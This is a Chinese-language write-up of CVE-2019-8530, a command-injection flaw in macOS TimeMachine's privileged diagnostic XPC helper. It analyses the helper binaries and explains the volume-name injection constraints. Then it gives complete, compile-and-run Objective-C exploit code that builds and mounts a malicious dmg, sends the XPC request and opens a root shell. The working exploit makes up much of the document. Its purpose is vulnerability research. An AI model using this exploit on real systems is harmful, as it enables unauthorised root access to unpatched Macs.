0x001 前言
CVE-2019-8530是用户态上的一个XPC逻辑漏洞,在macOS 10.14.3及以下版本存在。该漏洞存在于TimeMachine的diagnosticextensions扩展模块之中,通过构造恶意img文件,能够以root权限运行任意shell命令。
0x002 调试环境
主机: macOS Mojave 10.14.2 18C54
0x003 漏洞成因分析
XPC与进程间通信?
XPC是OS X下的一种IPC(进程间通信)技术,它实现了权限隔离,使得App Sandbox更加完备。OSX10.7以后,Cocoa增加了一种新的技术,就是XPC,它的实现不再通过对象间的直接连接,而是通过block实现一种服务端对客户端的connection,这两者之间的通信都是通过使用xpc_connection发送消息实现。XPC的出现是为了将程序分成不同的几个子程序,从而实现权限分隔,让你的程序更加安全。
XPC在10.8以后,直接在Foundation.framework中添加了NSXPCConnection相关的类,使用更为方便,但在10.7的系统上面,我们就只能使用C的接口来实现(引入头<xpc/xpc.h>)
关于XPC Service的更多内容参考该链接:XPC
TimeMachine diagnosticextensions
查看本机上的diagnostic services,图中标记出来的便是TimeMachine的诊断服务
r2简单看看timemachinehelper这个程序的类以及方法。
这里简单说下r2的用法:
-
aaa分析整个二进制程序 -
icc查看类以及调用的方法 - 任意命令加上一个
?号便会打印出该命令的详细使用说明,例如i?
IDA分析timemachinehelper这个程序,实则以root权限运行/usr/bin/tmdiagnose -r -w -f
随便拿一个程序来跑,发现这样一句
IDA继续分析tmdiagnose,在方法-[TMDiagnostic _harvestInfoForDisksAndMounts]找到这里,system("/usr/sbin/diskutil info "$NF),该处便是我们的命令注入点
/usr/sbin/diskutil list命令列举磁盘状态,system("/usr/sbin/diskutil info "$NF)中的$NF对应图中IDENTIFIER一栏。然而,我们通过创建disk的dmg镜像仅仅能控制NAME栏(通过hdiutil命令的-volname参数进行设置),也即无法控制$NF注入命令。这里,我们可以利用一个换行符n来截断,现在注入命令便对应到IDENTIFIER栏,t*/1实则是tmp/1的匹配式。
总的来说,利用-volname参数设置NAME栏时要满足这几个要求:
- 含有关键字
disk - 含有换行符
n - 使用`或者$()来注入命令
- 不要有空格
- 长度小于23个字符(理由如下图)
最终注入的命令以及整个调用过程如图:
0x004 Exploit
整个利用过程:
- 复制目标程序或者创建目标程序的链接方式到tmp目录
- 挂载包含了shell命令的恶意dmg文件
- 发送XPC请求到
timemachinehelper并且等待
最后拿到一个root shell,即从用户态出发将权限提高到root
完整的利用代码
/*
clang -framework Foundation exp.m -o exp && ./exp
*/
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
#include <glob.h>
#include <semaphore.h>
#define TARGET "/tmp/1"
#define CMD "t*/1"
#define VOLUME "disk`" CMD "`nA"
@protocol DETimeMachineHelperProtocol
- (void)runDiagnosticWithDestinationDir:(NSURL *)arg1 replyURL:(void (^)(NSURL *))arg2;
@end
NSPipe *hdiutil(NSArray *args) {
NSPipe *pipe = [NSPipe pipe];
NSTask *task = [[NSTask alloc] init];
[task setStandardOutput:pipe];
[task setLaunchPath:@"/usr/bin/hdiutil"];
[task setArguments:args];
[task launch];
[task waitUntilExit];
return pipe;
}
void exploit() {
NSString *dir =
[NSTemporaryDirectory() stringByAppendingPathComponent:[[NSProcessInfo processInfo] globallyUniqueString]];
NSString *dmg = [dir stringByAppendingString:@".dmg"];
NSFileManager *fileMgr = [NSFileManager defaultManager];
NSError *err = NULL;
NSString *src = [[NSBundle mainBundle] executablePath];
[fileMgr removeItemAtPath:@TARGET error:nil];
[fileMgr copyItemAtPath:src toPath:@TARGET error:&err]; // 将此二进制程序拷贝一份到/tmp/1
if (err)
NSLog(@"warning, failed to copy: %@", err);
[fileMgr createDirectoryAtPath:dir withIntermediateDirectories:YES attributes:nil error:&err];
NSLog(@"creating dmg image");
hdiutil(@[
@"create", @"-fs", @"HFS+", @"-volname", @VOLUME, @"-srcfolder", dir, @"-size", @"840k", @"-format", @"UDRW", dmg
]); // 创建恶意dmg
NSLog(@"mounting malformed disk");
NSPipe *pipe = hdiutil(@[ @"attach", dmg ]); // 挂载恶意dmg
NSString *mounted =
[[NSString alloc] initWithData:[[pipe fileHandleForReading] readDataToEndOfFile] encoding:NSUTF8StringEncoding];
NSLog(@"sending XPC msg");
NSXPCConnection *connection =
[[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.diagnosticextensions.osx.timemachine.helper"
options:NSXPCConnectionPrivileged]; // 发送XPC消息
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(DETimeMachineHelperProtocol)];
[connection resume];
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
NSURL *randomURL = [[NSURL alloc] initFileURLWithPath:dir];
[connection.remoteObjectProxy runDiagnosticWithDestinationDir:randomURL
replyURL:^(NSURL *url) {
NSLog(@"done");
dispatch_semaphore_signal(semaphore);
}];
NSLog(@"now wait some minute for the root shell");
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
}
void root() {
system("killall -9 tmdiagnose");
NSLog(@"[exploit] now you get a root shell!");
system("/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal");
//system("/Applications/iTerm.app/Contents/MacOS/iTerm2");
}
void cleanup() {
// eject malformed images
glob_t globlist;
assert(glob("/dev/disk*", 0, NULL, &globlist) == 0);
// invoke cli tools or use DiskArbitration api
for (size_t i = 0; i < globlist.gl_pathc; i++) {
char *dev = globlist.gl_pathv[i];
hdiutil(@[ @"eject", [NSString stringWithUTF8String:dev] ]);
}
}
int main(int argc, const char *argv[]) {
@autoreleasepool {
if (geteuid()) {
exploit(); // 首次运行
} else {
cleanup(); // 注入的shell命令会运行此处
root();
}
}
return 0;
}









